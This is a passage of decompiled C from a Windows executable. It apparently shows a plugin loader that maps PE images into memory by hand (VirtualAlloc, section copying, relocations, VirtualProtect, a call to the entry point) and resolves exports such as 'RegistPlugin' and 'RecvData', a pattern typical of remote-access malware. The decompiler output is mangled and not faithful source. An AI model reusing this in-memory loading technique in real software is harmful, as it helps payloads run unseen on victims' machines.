  3735.  
  3736. // Address range: 0x402edd - 0x4030a0
  3737. int32_t function_402edd(void) {
  3738. // 0x402edd
  3739. function_404b60();
  3740. int32_t v1 = g4; // 0x402eeb
  3741. g3 = v1;
  3742. *(int32_t *)(g2 - 28) = v1;
  3743. *(int32_t *)(g2 - 4) = 0;
  3744. int32_t v2 = *(int32_t *)(g3 + 8); // 0x402ef9
  3745. int32_t v3 = *(int32_t *)v2; // 0x402ef9
  3746. int32_t v4 = v3; // esi
  3747. int32_t v5; // bp-44
  3748. char * v6; // bp-48
  3749. int32_t v7; // bp-60
  3750. char * n; // bp-84
  3751. char * v8; // bp-88
  3752. char * v9; // bp-92
  3753. char * v10;
  3754. int32_t * v11;
  3755. int32_t v12; // 0x402f24
  3756. int32_t v13; // 0x402f55
  3757. int32_t v14; // 0x402fc2
  3758. int32_t v15; // 0x402ffa
  3759. int32_t v16; // 0x403039
  3760. int32_t v17; // 0x402f44
  3761. int32_t v18; // 0x403039
  3762. int32_t v19; // 0x40303f
  3763. int32_t v20; // 0x402f42
  3764. int32_t v21; // 0x402fec
  3765. int32_t * v22; // 0x403039
  3766. int32_t v23; // 0x402f7c
  3767. int32_t str2; // 0x403024
  3768. int32_t v24; // 0x403039
  3769. int32_t v25; // 0x402f92
  3770. int32_t v26; // 0x402fa0
  3771. int32_t v27; // 0x402fad
  3772. int32_t v28; // 0x402fba
  3773. int32_t v29; // 0x40304e
  3774. char * str; // 0x403030
  3775. if (v3 == v2) {
  3776. // 0x402f24
  3777. v12 = g2;
  3778. *(int32_t *)(v12 - 24) = (int32_t)&v7;
  3779. v7 = (int32_t)*(char *)(v12 + 8) | v2 & -256;
  3780. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(0);
  3781. v20 = *(int32_t *)*(int32_t *)0x4060b4;
  3782. v17 = g2 + 8;
  3783. _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(v17, 0, v20);
  3784. g4 = &g52;
  3785. v13 = function_403a36();
  3786. if (v13 == 0) {
  3787. // 0x402f24
  3788. // branch -> 0x40307f
  3789. // 0x40307f
  3790. *(int32_t *)(g2 - 4) = -1;
  3791. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
  3792. // branch -> 0x403090
  3793. // 0x403090
  3794. g5 = (int32_t)v6;
  3795. g7 = v5;
  3796. abort();
  3797. // UNREACHABLE
  3798. }
  3799. // 0x402f62
  3800. if (*(int32_t *)(v13 + 16) == *(int32_t *)(v13 + 20)) {
  3801. // 0x402f79
  3802. v23 = function_403220((int32_t *)*(int32_t *)(v13 + 24));
  3803. v10 = (char *)v23;
  3804. g7 = v23;
  3805. if (v23 != 0) {
  3806. // 0x402f8c
  3807. *(int32_t *)&n = v23;
  3808. v25 = function_40361e((int32_t *)v23, (int32_t)"RegistPlugin");
  3809. v8 = "PluginName";
  3810. *(int32_t *)&v9 = v23;
  3811. *(int32_t *)(g2 - 20) = v25;
  3812. v26 = function_40361e((int32_t *)v9, (int32_t)v8);
  3813. g5 = v26;
  3814. v11 = (int32_t *)*(int32_t *)&v10;
  3815. v27 = function_40361e(v11, (int32_t)"RecvData");
  3816. g3 = v27;
  3817. v28 = function_40361e(v11, (int32_t)"Version");
  3818. v14 = g2;
  3819. *(int32_t *)(v14 - 24) = v28;
  3820. if (*(int32_t *)(v14 - 20) != 0) {
  3821. // 0x402fcf
  3822. if (v26 != 0) {
  3823. // 0x402fd7
  3824. if (v27 != 0) {
  3825. // 0x402fdf
  3826. if (v28 != 0) {
  3827. // 0x402fe7
  3828. v21 = __3f__3f_2_40_YAPAXI_40_Z(540);
  3829. *(int32_t *)(g2 - 16) = v21;
  3830. *(int32_t *)(v21 + 532) = (int32_t)v10;
  3831. v15 = g2;
  3832. g7 = 0x401a8b;
  3833. *(int32_t *)(*(int32_t *)(v15 - 16) + 516) = 0x401a8b;
  3834. *(int32_t *)(*(int32_t *)(g2 - 16) + 528) = v26;
  3835. *(int32_t *)(*(int32_t *)(g2 - 16) + 520) = v27;
  3836. str2 = *(int32_t *)(g2 - 16);
  3837. *(int32_t *)(str2 + 524) = *(int32_t *)(v15 - 24);
  3838. n = (char *)0x40302f;
  3839. __pseudo_call(v26);
  3840. str = (char *)*(int32_t *)(g2 - 16);
  3841. v9 = str;
  3842. strncpy(str, (char *)str2, (int32_t)n);
  3843. v16 = g2;
  3844. v18 = v16 - 28;
  3845. v22 = (int32_t *)v18;
  3846. v24 = *v22;
  3847. v19 = v16 - 16;
  3848. g4 = v24 + 4;
  3849. n = (char *)v19;
  3850. v9 = (char *)v18;
  3851. v29 = function_403ab9(v22, *(int32_t *)(v24 + 8), v19);
  3852. __pseudo_call(v26);
  3853. __pseudo_call(*(int32_t *)(g2 - 20));
  3854. *(int32_t *)(*(int32_t *)(g2 - 16) + 536) = v29;
  3855. // branch -> 0x40306c
  3856. // 0x40306c
  3857. *(int32_t *)(g2 - 4) = -1;
  3858. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
  3859. // branch -> 0x403090
  3860. // 0x403090
  3861. g5 = (int32_t)(char *)1;
  3862. g7 = v5;
  3863. abort();
  3864. // UNREACHABLE
  3865. }
  3866. }
  3867. }
  3868. }
  3869. }
  3870. // 0x40307f
  3871. *(int32_t *)(g2 - 4) = -1;
  3872. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
  3873. // branch -> 0x403090
  3874. } else {
  3875. // 0x402f6a
  3876. // branch -> 0x40306c
  3877. // 0x40306c
  3878. *(int32_t *)(g2 - 4) = -1;
  3879. v6 = (char *)1;
  3880. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
  3881. // branch -> 0x403090
  3882. }
  3883. // 0x403090
  3884. g5 = (int32_t)v6;
  3885. g7 = v5;
  3886. abort();
  3887. // UNREACHABLE
  3888. }
  3889. // branch -> 0x402eff
  3890. int32_t v30; // 0x402f13
  3891. while (true) {
  3892. int32_t v31 = *(int32_t *)(v3 + 8); // 0x402eff
  3893. char * str3 = (char *)v31; // 0x402f02
  3894. v6 = str3;
  3895. int32_t len = strlen(str3); // 0x402f03
  3896. int32_t v32 = *(int32_t *)(g2 + 16); // 0x402f0b
  3897. v5 = 0;
  3898. v30 = _3f_compare_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QBEHIIPBDI_40_Z(0, v32, v31, len);
  3899. if (v30 == 0) {
  3900. // 0x402f71
  3901. // branch -> 0x40306c
  3902. // 0x40306c
  3903. *(int32_t *)(g2 - 4) = -1;
  3904. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
  3905. // branch -> 0x403090
  3906. // 0x403090
  3907. g5 = (int32_t)(char *)1;
  3908. g7 = v5;
  3909. abort();
  3910. // UNREACHABLE
  3911. }
  3912. int32_t v33 = *(int32_t *)v4; // 0x402f1d
  3913. v4 = v33;
  3914. if (v33 == *(int32_t *)(g3 + 8)) {
  3915. // break -> 0x402f24
  3916. break;
  3917. }
  3918. v3 = v33;
  3919. // continue -> 0x402eff
  3920. }
  3921. // 0x402f24
  3922. v12 = g2;
  3923. *(int32_t *)(v12 - 24) = (int32_t)&v7;
  3924. v7 = (int32_t)*(char *)(v12 + 8) | v30 & -256;
  3925. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(0);
  3926. v20 = *(int32_t *)*(int32_t *)0x4060b4;
  3927. v17 = g2 + 8;
  3928. _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(v17, 0, v20);
  3929. g4 = &g52;
  3930. v13 = function_403a36();
  3931. if (v13 == 0) {
  3932. // 0x402f24
  3933. // branch -> 0x40307f
  3934. // 0x40307f
  3935. *(int32_t *)(g2 - 4) = -1;
  3936. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
  3937. // branch -> 0x403090
  3938. // 0x403090
  3939. g5 = (int32_t)v6;
  3940. g7 = v5;
  3941. abort();
  3942. // UNREACHABLE
  3943. }
  3944. // 0x402f62
  3945. if (*(int32_t *)(v13 + 16) == *(int32_t *)(v13 + 20)) {
  3946. // 0x402f79
  3947. v23 = function_403220((int32_t *)*(int32_t *)(v13 + 24));
  3948. v10 = (char *)v23;
  3949. g7 = v23;
  3950. if (v23 != 0) {
  3951. // 0x402f8c
  3952. n = NULL;
  3953. *(int32_t *)&n = v23;
  3954. v25 = function_40361e((int32_t *)v23, (int32_t)"RegistPlugin");
  3955. v8 = "PluginName";
  3956. v9 = NULL;
  3957. *(int32_t *)&v9 = v23;
  3958. *(int32_t *)(g2 - 20) = v25;
  3959. v26 = function_40361e((int32_t *)v9, (int32_t)v8);
  3960. g5 = v26;
  3961. v11 = (int32_t *)*(int32_t *)&v10;
  3962. v27 = function_40361e(v11, (int32_t)"RecvData");
  3963. g3 = v27;
  3964. v28 = function_40361e(v11, (int32_t)"Version");
  3965. v14 = g2;
  3966. *(int32_t *)(v14 - 24) = v28;
  3967. if (*(int32_t *)(v14 - 20) != 0) {
  3968. // 0x402fcf
  3969. if (v26 != 0) {
  3970. // 0x402fd7
  3971. if (v27 != 0) {
  3972. // 0x402fdf
  3973. if (v28 != 0) {
  3974. // 0x402fe7
  3975. v21 = __3f__3f_2_40_YAPAXI_40_Z(540);
  3976. *(int32_t *)(g2 - 16) = v21;
  3977. *(int32_t *)(v21 + 532) = (int32_t)v10;
  3978. v15 = g2;
  3979. g7 = 0x401a8b;
  3980. *(int32_t *)(*(int32_t *)(v15 - 16) + 516) = 0x401a8b;
  3981. *(int32_t *)(*(int32_t *)(g2 - 16) + 528) = v26;
  3982. *(int32_t *)(*(int32_t *)(g2 - 16) + 520) = v27;
  3983. str2 = *(int32_t *)(g2 - 16);
  3984. *(int32_t *)(str2 + 524) = *(int32_t *)(v15 - 24);
  3985. n = (char *)0x40302f;
  3986. __pseudo_call(v26);
  3987. str = (char *)*(int32_t *)(g2 - 16);
  3988. v9 = str;
  3989. strncpy(str, (char *)str2, (int32_t)n);
  3990. v16 = g2;
  3991. v18 = v16 - 28;
  3992. v22 = (int32_t *)v18;
  3993. v24 = *v22;
  3994. v19 = v16 - 16;
  3995. g4 = v24 + 4;
  3996. n = (char *)v19;
  3997. v9 = (char *)v18;
  3998. v29 = function_403ab9(v22, *(int32_t *)(v24 + 8), v19);
  3999. __pseudo_call(v26);
  4000. __pseudo_call(*(int32_t *)(g2 - 20));
  4001. *(int32_t *)(*(int32_t *)(g2 - 16) + 536) = v29;
  4002. // branch -> 0x40306c
  4003. // 0x40306c
  4004. *(int32_t *)(g2 - 4) = -1;
  4005. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
  4006. // branch -> 0x403090
  4007. // 0x403090
  4008. g5 = (int32_t)(char *)1;
  4009. g7 = v5;
  4010. abort();
  4011. // UNREACHABLE
  4012. }
  4013. }
  4014. }
  4015. }
  4016. }
  4017. // 0x40307f
  4018. *(int32_t *)(g2 - 4) = -1;
  4019. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
  4020. // branch -> 0x403090
  4021. } else {
  4022. // 0x402f6a
  4023. // branch -> 0x40306c
  4024. // 0x40306c
  4025. *(int32_t *)(g2 - 4) = -1;
  4026. v6 = (char *)1;
  4027. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
  4028. // branch -> 0x403090
  4029. }
  4030. // 0x403090
  4031. g5 = (int32_t)v6;
  4032. g7 = v5;
  4033. abort();
  4034. // UNREACHABLE
  4035. }
  4036.  
  4037. // Address range: 0x4030a1 - 0x4030cc
  4038. int32_t function_4030a1(void) {
  4039. int32_t v1 = 0; // bp-20
  4040. int32_t v2 = g4 + 4; // esi
  4041. int32_t v3 = function_402e17(v1, 0, g5); // 0x4030b5
  4042. *(int32_t *)(v2 + 8) = 0;
  4043. *(int32_t *)(v2 + 4) = v3;
  4044. *(int32_t *)g4 = (int32_t)&g12;
  4045. g5 = v1;
  4046. g7 = 0;
  4047. return g4;
  4048. }
  4049.  
  4050. // Address range: 0x4030cd - 0x4030e8
  4051. int32_t function_4030cd(char a1) {
  4052. int32_t v1 = g7; // 0x4030cd
  4053. g7 = g4;
  4054. function_4030e9(v1);
  4055. if ((a1 & 1) != 0) {
  4056. // 0x4030dc
  4057. __3f__3f_3_40_YAXPAX_40_Z(g7);
  4058. // branch -> 0x4030e3
  4059. }
  4060. // 0x4030e3
  4061. return g7;
  4062. }
  4063.  
  4064. // Address range: 0x4030e9 - 0x403151
  4065. int32_t function_4030e9(int32_t a1) {
  4066. // 0x4030e9
  4067. function_404b60();
  4068. int32_t v1 = g4; // 0x4030f3
  4069. int32_t v2 = g7; // 0x4030f4
  4070. g7 = v1;
  4071. *(int32_t *)(g2 - 16) = v1;
  4072. *(int32_t *)g7 = (int32_t)&g12;
  4073. *(int32_t *)(g2 - 4) = 0;
  4074. int32_t v3 = g7; // 0x403104
  4075. if (*(int32_t *)(v3 + 12) == 0) {
  4076. // 0x403139
  4077. *(int32_t *)(g2 - 4) = -1;
  4078. g4 = g7 + 4;
  4079. function_402db4();
  4080. g7 = v2;
  4081. abort();
  4082. // UNREACHABLE
  4083. }
  4084. int32_t v4 = g5; // bp-16
  4085. int32_t v5 = v3; // 0x40310f
  4086. // branch -> 0x40310f
  4087. while (true) {
  4088. int32_t v6 = *(int32_t *)(*(int32_t *)*(int32_t *)(v5 + 8) + 8); // 0x403114
  4089. g5 = v6;
  4090. if (v6 != 0) {
  4091. // 0x40311b
  4092. g4 = v6 + 72;
  4093. function_402e83(v4);
  4094. __3f__3f_3_40_YAXPAX_40_Z(v6);
  4095. // branch -> 0x40312a
  4096. }
  4097. // 0x40312a
  4098. g4 = v3 + 4;
  4099. function_403a96();
  4100. int32_t v7 = g7; // 0x403131
  4101. if (*(int32_t *)(v7 + 12) == 0) {
  4102. // break -> 0x403137
  4103. break;
  4104. }
  4105. v5 = v7;
  4106. // continue -> 0x40310f
  4107. }
  4108. // 0x403137
  4109. g5 = v4;
  4110. // branch -> 0x403139
  4111. // 0x403139
  4112. *(int32_t *)(g2 - 4) = -1;
  4113. g4 = g7 + 4;
  4114. function_402db4();
  4115. g7 = v2;
  4116. abort();
  4117. // UNREACHABLE
  4118. }
  4119.  
  4120. // Address range: 0x403152 - 0x4031bb
  4121. int32_t function_403152(void) {
  4122. // 0x403152
  4123. function_404b60();
  4124. int32_t v1 = g7; // 0x40315d
  4125. int32_t v2 = g5; // 0x40315e
  4126. *(int32_t *)(g2 - 4) = 0;
  4127. int32_t v3 = *(int32_t *)(g4 + 8); // 0x403168
  4128. int32_t v4 = *(int32_t *)v3; // 0x403168
  4129. int32_t v5 = v4; // esi
  4130. if (v4 == v3) {
  4131. // 0x403193
  4132. // branch -> 0x403195
  4133. } else {
  4134. // branch -> 0x40316e
  4135. while (true) {
  4136. int32_t str = *(int32_t *)(v4 + 8); // 0x40316e
  4137. int32_t len = strlen((char *)str); // 0x403172
  4138. int32_t v6 = *(int32_t *)(g2 + 16); // 0x40317a
  4139. if (_3f_compare_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QBEHIIPBDI_40_Z(0, v6, str, len) == 0) {
  4140. // 0x4031b7
  4141. // branch -> 0x403195
  4142. // 0x403195
  4143. *(int32_t *)(g2 - 4) = -1;
  4144. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
  4145. g5 = 1;
  4146. g7 = v2;
  4147. g3 = v1;
  4148. abort();
  4149. // UNREACHABLE
  4150. }
  4151. int32_t v7 = *(int32_t *)v5; // 0x40318c
  4152. v5 = v7;
  4153. if (v7 == *(int32_t *)(g4 + 8)) {
  4154. // break -> 0x403193
  4155. break;
  4156. }
  4157. v4 = v7;
  4158. // continue -> 0x40316e
  4159. }
  4160. // 0x403193
  4161. // branch -> 0x403195
  4162. }
  4163. // 0x403195
  4164. *(int32_t *)(g2 - 4) = -1;
  4165. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
  4166. g5 = 1;
  4167. g7 = v2;
  4168. g3 = v1;
  4169. abort();
  4170. // UNREACHABLE
  4171. }
  4172.  
  4173. // Address range: 0x4031bc - 0x40321f
  4174. int32_t function_4031bc(void) {
  4175. // 0x4031bc
  4176. int32_t str;
  4177. int32_t v1 = str;
  4178. int32_t v2 = g4; // 0x4031bf
  4179. int32_t v3 = v2; // bp-8
  4180. int32_t v4 = &v3; // 0x4031bf
  4181. g5 = str;
  4182. int32_t v5;
  4183. int32_t v6;
  4184. int32_t v7;
  4185. if (str == 0) {
  4186. // 0x403217
  4187. // branch -> 0x403219
  4188. // 0x403219
  4189. g5 = v6;
  4190. g7 = v7;
  4191. g3 = v5;
  4192. int32_t v8;
  4193. return v8 & -256;
  4194. }
  4195. // 0x4031cc
  4196. int32_t v9; // bp-36
  4197. int32_t v10 = &v9; // 0x4031cf
  4198. g7 = v10;
  4199. v3 = v10;
  4200. unsigned char v11;
  4201. v9 = g1 & -256 | (int32_t)v11;
  4202. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(0);
  4203. _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z(str, strlen((char *)str));
  4204. g4 = v2;
  4205. int32_t v12 = function_403152(); // 0x4031f6
  4206. if (v12 != 0) {
  4207. // 0x403217
  4208. // branch -> 0x403219
  4209. // 0x403219
  4210. g5 = v6;
  4211. g7 = v7;
  4212. g3 = v5;
  4213. return v12 & -256;
  4214. }
  4215. int32_t v13 = *(int32_t *)(g3 + 8); // 0x4031ff
  4216. g4 = g3 + 4;
  4217. int32_t v14 = &v1; // 0x403205
  4218. int32_t result = function_403ab9(&v3, v13, v14) & -256 | 1; // 0x403213
  4219. // branch -> 0x403219
  4220. // 0x403219
  4221. g5 = v4;
  4222. g7 = v13;
  4223. g3 = v14;
  4224. return result;
  4225. }
  4226.  
  4227. // Address range: 0x403220 - 0x40333c
  4228. int32_t function_403220(int32_t * a1) {
  4229. int32_t v1 = (int32_t)a1;
  4230. int32_t v2 = g3; // 0x403228
  4231. int32_t v3 = g5; // 0x40322a
  4232. if (*(int16_t *)a1 != 0x5a4d) {
  4233. // 0x40332f
  4234. // branch -> 0x403338
  4235. // 0x403338
  4236. g5 = v3;
  4237. g3 = v2;
  4238. return 0;
  4239. }
  4240. int32_t * v4 = (int32_t *)(v1 + 60); // 0x403236
  4241. int32_t v5 = *v4 + v1; // 0x403239
  4242. g7 = v5;
  4243. if (*(int32_t *)v5 != 0x4550) {
  4244. // 0x40332f
  4245. // branch -> 0x403338
  4246. // 0x403338
  4247. g5 = v3;
  4248. g3 = v2;
  4249. return 0;
  4250. }
  4251. int32_t lpAddress = *(int32_t *)(v5 + 52); // 0x403258
  4252. int32_t * memory = VirtualAlloc((int32_t *)lpAddress, *(int32_t *)(v5 + 80), 0x2000, 4); // 0x40325b
  4253. int32_t lpAddress2 = (int32_t)memory;
  4254. if (memory == NULL) {
  4255. int32_t * memory2 = VirtualAlloc(memory, *(int32_t *)(g7 + 80), 0x2000, 4); // 0x40326b
  4256. if (memory2 == NULL) {
  4257. // 0x40332f
  4258. // branch -> 0x403338
  4259. // 0x403338
  4260. g5 = v3;
  4261. g3 = v2;
  4262. return 0;
  4263. }
  4264. lpAddress2 = (int32_t)memory2;
  4265. }
  4266. int32_t * hHeap = GetProcessHeap(); // 0x40327c
  4267. int32_t v6 = (int32_t)HeapAlloc(hHeap, 0, 20); // 0x403283
  4268. g5 = v6;
  4269. int32_t v7 = 0; // ecx
  4270. *(int32_t *)(v6 + 4) = lpAddress2;
  4271. *(int32_t *)(g5 + 12) = v7;
  4272. *(int32_t *)(g5 + 8) = v7;
  4273. *(int32_t *)(g5 + 16) = v7;
  4274. VirtualAlloc((int32_t *)lpAddress2, *(int32_t *)(g7 + 80), 0x1000, 4);
  4275. int32_t * memory3 = VirtualAlloc((int32_t *)lpAddress2, *(int32_t *)(g7 + 84), 0x1000, 4); // 0x4032b6
  4276. g3 = v1;
  4277. memcpy(memory3, a1, *(int32_t *)(g7 + 84) + *v4);
  4278. int32_t v8 = *(int32_t *)(g3 + 60) + (int32_t)memory3; // 0x4032d2
  4279. int32_t v9 = g5; // 0x4032d7
  4280. *(int32_t *)v9 = v8;
  4281. *(int32_t *)(v8 + 52) = lpAddress2;
  4282. function_40333d((int32_t *)g3, g7, v9);
  4283. g3 = lpAddress2;
  4284. int32_t v10 = lpAddress2 - *(int32_t *)(g7 + 52); // 0x4032ec
  4285. if (v10 != 0) {
  4286. // 0x4032f1
  4287. function_4034a7((int32_t *)g5, v10);
  4288. g4 = v10;
  4289. // branch -> 0x4032fa
  4290. }
  4291. int32_t v11 = g5; // 0x4032fa
  4292. int32_t v12 = function_403521((int32_t *)v11); // 0x4032fb
  4293. g4 = v11;
  4294. int32_t v13 = g5;
  4295. int32_t result;
  4296. if (v12 == 0) {
  4297. // 0x403328
  4298. function_4036a9((int32_t *)v13);
  4299. // branch -> 0x40332f
  4300. // 0x40332f
  4301. result = 0;
  4302. // branch -> 0x403338
  4303. } else {
  4304. // 0x403305
  4305. function_4033ea((int32_t *)v13);
  4306. int32_t v14 = *(int32_t *)(*(int32_t *)g5 + 40); // 0x40330e
  4307. if (v14 != 0) {
  4308. int32_t v15 = g3 + v14; // 0x403315
  4309. if (v15 == 0) {
  4310. // 0x403328
  4311. function_4036a9((int32_t *)g5);
  4312. // branch -> 0x40332f
  4313. // 0x40332f
  4314. result = 0;
  4315. // branch -> 0x403338
  4316. } else {
  4317. // 0x40331b
  4318. __pseudo_call(v15);
  4319. *(int32_t *)(g5 + 16) = 1;
  4320. result = g5;
  4321. // branch -> 0x403338
  4322. }
  4323. // 0x403338
  4324. g5 = v3;
  4325. g3 = v2;
  4326. return result;
  4327. }
  4328. result = g5;
  4329. }
  4330. // 0x403338
  4331. g5 = v3;
  4332. g3 = v2;
  4333. return result;
  4334. }
  4335.  
  4336. // Address range: 0x40333d - 0x4033e9
  4337. int32_t function_40333d(int32_t * a1, int32_t a2, int32_t a3) {
  4338. int32_t v1 = g2; // bp-4
  4339. int32_t v2 = g7; // bp-20
  4340. int32_t v3 = *(int32_t *)(a3 + 4); // 0x40334b
  4341. int32_t * v4 = (int32_t *)a3; // 0x40334e
  4342. int32_t result = *v4; // 0x40334e
  4343. int32_t v5 = (int32_t)*(int16_t *)(result + 20); // 0x403353
  4344. g4 = v5;
  4345. if (*(int16_t *)(result + 6) == 0) {
  4346. // 0x4033e7
  4347. return result;
  4348. }
  4349. int32_t v6 = result + 24 + v5 + 16; // 0x40336e
  4350. int32_t flAllocationType = 0x1000; // ebx
  4351. int32_t v7 = 0;
  4352. // branch -> 0x403376
  4353. int32_t result2; // 0x4033dc
  4354. while (true) {
  4355. int32_t * dwSize = (int32_t *)v6; // 0x403376
  4356. int32_t v8; // 0x4033d4
  4357. if (*dwSize != 0) {
  4358. int32_t v9 = *(int32_t *)(v6 - 4); // 0x4033a8
  4359. int32_t * memory = VirtualAlloc((int32_t *)(v9 + v3), *dwSize, flAllocationType, 4); // 0x4033b4
  4360. int32_t v10 = v6; // 0x4033b6
  4361. int32_t v11 = *(int32_t *)(v10 + 4) + (int32_t)a1; // 0x4033bb
  4362. g4 = v11;
  4363. memcpy(memory, (int32_t *)v11, *(int32_t *)v10);
  4364. *(int32_t *)(v6 - 8) = (int32_t)memory;
  4365. // branch -> 0x4033d1
  4366. } else {
  4367. uint32_t dwSize2 = *(int32_t *)(a2 + 56); // 0x40337e
  4368. if (dwSize2 >= 1) {
  4369. int32_t v12 = *(int32_t *)(v6 - 4); // 0x40338c
  4370. int32_t * memory2 = VirtualAlloc((int32_t *)(v12 + v3), dwSize2, flAllocationType, 4); // 0x403393
  4371. *(int32_t *)(v6 - 8) = (int32_t)memory2;
  4372. memset(memory2, 0, dwSize2);
  4373. // branch -> 0x4033d1
  4374. }
  4375. // 0x4033d1
  4376. v8 = v7 + 1;
  4377. result2 = (int32_t)*(int16_t *)(*v4 + 6);
  4378. if (v8 >= result2) {
  4379. // break -> 0x4033e5
  4380. break;
  4381. }
  4382. v6 += 40;
  4383. v7 = v8;
  4384. // continue -> 0x403376
  4385. continue;
  4386. }
  4387. // 0x4033d1
  4388. v8 = v7 + 1;
  4389. result2 = (int32_t)*(int16_t *)(*v4 + 6);
  4390. if (v8 >= result2) {
  4391. // break -> 0x4033e5
  4392. break;
  4393. }
  4394. v6 += 40;
  4395. v7 = v8;
  4396. // continue -> 0x403376
  4397. }
  4398. // 0x4033e5
  4399. // branch -> 0x4033e7
  4400. // 0x4033e7
  4401. g7 = v2;
  4402. g2 = v1;
  4403. return result2;
  4404. }
  4405.  
  4406. // Address range: 0x4033ea - 0x4034a6
  4407. int32_t function_4033ea(int32_t * a1) {
  4408. int32_t v1 = g2; // bp-4
  4409. int32_t lpflOldProtect = g4; // bp-12
  4410. int32_t result = *a1; // 0x4033f6
  4411. if (*(int16_t *)(result + 6) == 0) {
  4412. // 0x4034a5
  4413. return result;
  4414. }
  4415. int32_t v2 = result + 24 + (int32_t)*(int16_t *)(result + 20) + 36; // 0x40340e
  4416. int32_t v3 = 0;
  4417. // branch -> 0x403411
  4418. int32_t result2; // 0x403493
  4419. while (true) {
  4420. uint32_t v4 = *(int32_t *)v2; // 0x403411
  4421. if ((v4 & 0x2000000) == 0) {
  4422. int32_t v5 = *(int32_t *)(4 * (2 * (-((v4 / 0x20000000 & 1)) & 2 | v4 / 0x40000000 & 1) | v4 / 0x80000000) + (int32_t)&g27); // 0x40344f
  4423. int32_t flNewProtect = v5; // 0x40347f
  4424. if ((v4 & 0x4000000) != 0) {
  4425. // 0x403458
  4426. flNewProtect = v5 | 512;
  4427. // branch -> 0x40345e
  4428. }
  4429. int32_t dwSize = *(int32_t *)(v2 - 20); // 0x40345e
  4430. int32_t v6; // 0x40348d
  4431. if (dwSize != 0) {
  4432. lab_0x40347b:;
  4433. int32_t lpAddress = *(int32_t *)(v2 - 28); // 0x403481
  4434. VirtualProtect((int32_t *)lpAddress, dwSize, flNewProtect, &lpflOldProtect);
  4435. // branch -> 0x40348a
  4436. } else {
  4437. // 0x403465
  4438. int32_t v7;
  4439. if ((v4 & 64) == 0) {
  4440. // 0x40346f
  4441. if ((char)v4 <= 255) {
  4442. // 0x403474
  4443. v7 = result + 36;
  4444. // branch -> 0x403479
  4445. lab_0x403479:;
  4446. int32_t v8 = *(int32_t *)v7;
  4447. if (v8 != 0) {
  4448. dwSize = v8;
  4449. goto lab_0x40347b;
  4450. }
  4451. // 0x40348a
  4452. v6 = v3 + 1;
  4453. result2 = *a1;
  4454. if (v6 >= (int32_t)*(int16_t *)(result2 + 6)) {
  4455. // break -> 0x4034a2
  4456. break;
  4457. }
  4458. v3 = v6;
  4459. result = result2;
  4460. v2 += 40;
  4461. // continue -> 0x403411
  4462. continue;
  4463. }
  4464. } else {
  4465. // 0x40346a
  4466. v7 = result + 32;
  4467. // branch -> 0x403479
  4468. goto lab_0x403479;
  4469. }
  4470. // 0x40348a
  4471. v6 = v3 + 1;
  4472. result2 = *a1;
  4473. if (v6 >= (int32_t)*(int16_t *)(result2 + 6)) {
  4474. // break -> 0x4034a2
  4475. break;
  4476. }
  4477. v3 = v6;
  4478. result = result2;
  4479. v2 += 40;
  4480. // continue -> 0x403411
  4481. continue;
  4482. }
  4483. lab_0x40348a:
  4484. // 0x40348a
  4485. v6 = v3 + 1;
  4486. result2 = *a1;
  4487. if (v6 >= (int32_t)*(int16_t *)(result2 + 6)) {
  4488. // break -> 0x4034a2
  4489. break;
  4490. }
  4491. v3 = v6;
  4492. result = result2;
  4493. v2 += 40;
  4494. // continue -> 0x403411
  4495. continue;
  4496. } else {
